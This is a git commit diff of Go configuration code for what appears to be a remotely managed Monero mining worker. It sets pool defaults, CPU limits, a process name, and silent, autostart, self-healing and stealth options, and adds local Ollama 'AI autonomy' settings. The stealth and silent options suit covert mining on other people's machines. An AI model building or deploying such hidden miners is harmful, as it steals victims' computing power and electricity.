Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
@@ -4,28 +4,28 @@ import "time"
|
||||
|
||||
func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: "dev-worker",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "",
|
||||
Threads: 4,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 75,
|
||||
CPUPriority: "below_normal",
|
||||
MiningMode: "always",
|
||||
DisplayMode: "visible",
|
||||
SilentMode: false,
|
||||
RunAs: "user",
|
||||
AutoStart: false,
|
||||
ProcessName: "CryptoMinerWorker",
|
||||
BuildID: "dev",
|
||||
BuiltAt: time.Now(),
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolTLS: true,
|
||||
PoolPass: "x",
|
||||
MaxCPUUsage: 80,
|
||||
MaxMemoryPct: 70,
|
||||
MinFreeRAM: 1024,
|
||||
WorkerName: "dev-worker",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "",
|
||||
Threads: 4,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 75,
|
||||
CPUPriority: "below_normal",
|
||||
MiningMode: "always",
|
||||
DisplayMode: "visible",
|
||||
SilentMode: false,
|
||||
RunAs: "user",
|
||||
AutoStart: false,
|
||||
ProcessName: "CryptoMinerWorker",
|
||||
BuildID: "dev",
|
||||
BuiltAt: time.Now(),
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolTLS: true,
|
||||
PoolPass: "x",
|
||||
MaxCPUUsage: 80,
|
||||
MaxMemoryPct: 70,
|
||||
MinFreeRAM: 1024,
|
||||
IdleThresholdPct: 20,
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
@@ -36,5 +36,8 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
SelfHealing: true,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
AIEnabled: false,
|
||||
AIOllamaEndpoint: "http://localhost:11434",
|
||||
AIModel: "llama3.2",
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,28 +9,28 @@ import (
|
||||
const Version = "1.0.0"
|
||||
|
||||
type BuiltinConfig struct {
|
||||
WorkerName string
|
||||
ServerURL string
|
||||
Wallet string
|
||||
Threads int
|
||||
ThreadMode string
|
||||
ThreadPercent int
|
||||
CPUPriority string
|
||||
MiningMode string
|
||||
DisplayMode string
|
||||
SilentMode bool
|
||||
RunAs string
|
||||
AutoStart bool
|
||||
ProcessName string
|
||||
BuildID string
|
||||
BuiltAt time.Time
|
||||
PoolHost string
|
||||
PoolPort int
|
||||
PoolTLS bool
|
||||
PoolPass string
|
||||
MaxCPUUsage int
|
||||
MaxMemoryPct int
|
||||
MinFreeRAM int
|
||||
WorkerName string
|
||||
ServerURL string
|
||||
Wallet string
|
||||
Threads int
|
||||
ThreadMode string
|
||||
ThreadPercent int
|
||||
CPUPriority string
|
||||
MiningMode string
|
||||
DisplayMode string
|
||||
SilentMode bool
|
||||
RunAs string
|
||||
AutoStart bool
|
||||
ProcessName string
|
||||
BuildID string
|
||||
BuiltAt time.Time
|
||||
PoolHost string
|
||||
PoolPort int
|
||||
PoolTLS bool
|
||||
PoolPass string
|
||||
MaxCPUUsage int
|
||||
MaxMemoryPct int
|
||||
MinFreeRAM int
|
||||
IdleThresholdPct int
|
||||
IdleDurationMinutes int
|
||||
ScheduleStart string
|
||||
@@ -42,6 +42,10 @@ type BuiltinConfig struct {
|
||||
SelfHealing bool
|
||||
FileLogging bool
|
||||
StealthMode bool
|
||||
// AI Autonomy (Ollama)
|
||||
AIEnabled bool
|
||||
AIOllamaEndpoint string
|
||||
AIModel string
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
@@ -103,6 +107,23 @@ func Load() RuntimeConfig {
|
||||
if b.InstallRelativePath == "" {
|
||||
b.InstallRelativePath = DefaultInstallRelativePath
|
||||
}
|
||||
if b.PoolHost == "" {
|
||||
b.PoolHost = "pool.supportxmr.com"
|
||||
}
|
||||
if b.PoolPort <= 0 {
|
||||
b.PoolPort = 3333
|
||||
}
|
||||
if b.PoolPass == "" {
|
||||
b.PoolPass = "x"
|
||||
}
|
||||
if b.AIEnabled {
|
||||
if b.AIOllamaEndpoint == "" {
|
||||
b.AIOllamaEndpoint = "http://localhost:11434"
|
||||
}
|
||||
if b.AIModel == "" {
|
||||
b.AIModel = "llama3.2"
|
||||
}
|
||||
}
|
||||
if b.StealthMode {
|
||||
b.FileLogging = false
|
||||
if b.DisplayMode == "" || b.DisplayMode == "visible" {
|
||||
|
||||
Reference in New Issue
Block a user